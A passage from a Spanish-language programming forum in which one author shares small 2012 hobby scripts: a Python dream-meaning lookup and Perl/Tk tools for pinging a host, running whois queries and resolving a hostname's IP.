nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def head():
  print "\n-- == Buscador de sueños == --\n"

def copyright():
print "\n\n(C) Doddy Hackman 2012\n"
raw_input()
sys.exit(1)

head()

url = raw_input("\n\n[+] Texto : ")

try:
code = toma("http://www.mis-suenos.org/interpretaciones/buscar?text="+url)
if (re.findall("<li>(.*)<\/li>",code)):
   re = re.findall("<li>(.*)<\/li>",code)
   re = re[0]
   if not re=="":
     print "\n\n[+] Significado : "+re
   else:
     print "[-] No se encontro significado\n"
except:
print "[-] Error\n"

copyright()

# The End
#278
Perl / [Perl Tk] Ping It 0.1
Marzo 31, 2012, 10:31:47 PM
Siempre habia querido hacer este programa en Perl , pero en ese entonces no tenia el tiempo al pedo necesario para hacerlo , que mejor que un sabado a la noche para hacerlo , claro que los sabados y domingo me los tomo como descanso ya que los dias de la semana estudio para unos examenes que se me vienen dentro de poco.

Una imagen del programa


El codigo

Código: perl

#!usr/bin/perl
#Ping It 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use Net::Ping;

my $color_fondo = "black";
my $color_texto = "orange";

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $sax =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$sax->title("Ping It 0.1 || Coded By Doddy H");
$sax->geometry("350x130+20+20");
$sax->resizable( 0, 0 );

$sax->Label(
    -text       => "Host : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 20, -x => 20 );
my $host = $sax->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 25, -x => 70 );
$sax->Button(
    -text             => "Ping It",
    -width            => 10,
    -command          => \&pingita,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -y => 23, -x => 260 );

my $stat = $sax->Label(
    -text       => "Status : <None>",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 80, -x => 110 );

MainLoop;

sub pingita {

    $clas = Net::Ping->new("icmp");
    if ( $clas->ping( $host->get ) ) {
        $stat->configure( -text => "The host is alive" );
    }
    else {
        $stat->configure( -text => "The host is offline" );
    }
}

#The End ?

#279
Perl / [Perl Tk] Whois Client 0.2
Marzo 31, 2012, 10:31:37 PM
La version mejorada de un cliente whois que hice hace un largooooooooo tiempo.

Para usarlo tienen que instalar el modulo necesario de la siguiente manera.

Código: text

ppm install http://www.bribes.org/perl/ppm/Net-Whois-Raw.ppd


Una imagen del programa


El codigo es

Código: perl

#!usr/bin/perl
#Whois Client 0.2
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/Net-Whois-Raw.ppd

use Tk;
use Tk::ROText;
use Net::Whois::Raw;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $color_fondo = "black";
my $color_texto = "cyan";

$yu =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$yu->title("Whois Client 0.2 || Coded By Doddy H");
$yu->geometry("400x350+20+20");
$yu->resizable( 0, 0 );

$yu->Label(
    -text       => "Page : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 20 );
my $targe = $yu->Entry(
    -width      => 35,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 70, -y => 26 );
$yu->Button(
    -text             => "Get Info",
    -width            => 10,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -command          => \&whoisit
)->place( -x => 290, -y => 24 );
$yu->Label(
    -text       => "Information",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 140, -y => 85 );
my $data = $yu->Scrolled(
    "ROText",
    -width      => 40,
    -height     => 12,
    -scrollbars => "e",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 45, -y => 150 );

sub whoisit {

    $data->delete( "0.1", "end" );
    $data->insert( "end", whois( $targe->get ) );

}

MainLoop;

#The End ?
#280
Perl / [Perl Tk] Get IP 0.1
Marzo 31, 2012, 09:06:05 PM
Estaba muriendome de aburrimiento y me programe este pequeño programa en 5 minutos , que sirve para obtener la IP de un Host cualquiera.

Una imagen


El codigo

Código: perl

#!usr/bin/perl
#Get IP 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use IO::Socket;

my $color_fondo = "black";
my $color_texto = "yellow";

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $ua =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$ua->title("Get IP || Coded By Doddy H");
$ua->geometry("350x110+20+20");
$ua->resizable( 0, 0 );

$ua->Label(
    -text       => "Host : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 20, -x => 20 );
my $host = $ua->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 25, -x => 70 );
$ua->Button(
    -text             => "Get IP",
    -width            => 10,
    -command          => \&quien,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -y => 23, -x => 260 );

$ua->Label(
    -text       => "IP : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 60, -x => 20 );
my $ip = $ua->Entry(
    -width      => 33,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 65, -x => 52 );

MainLoop;

sub quien {
    $ip->configure( -text => get_ip( $host->get ) );
}

sub get_ip {
    my $get = gethostbyname( $_[0] );
    return inet_ntoa($get);
}

#The End ?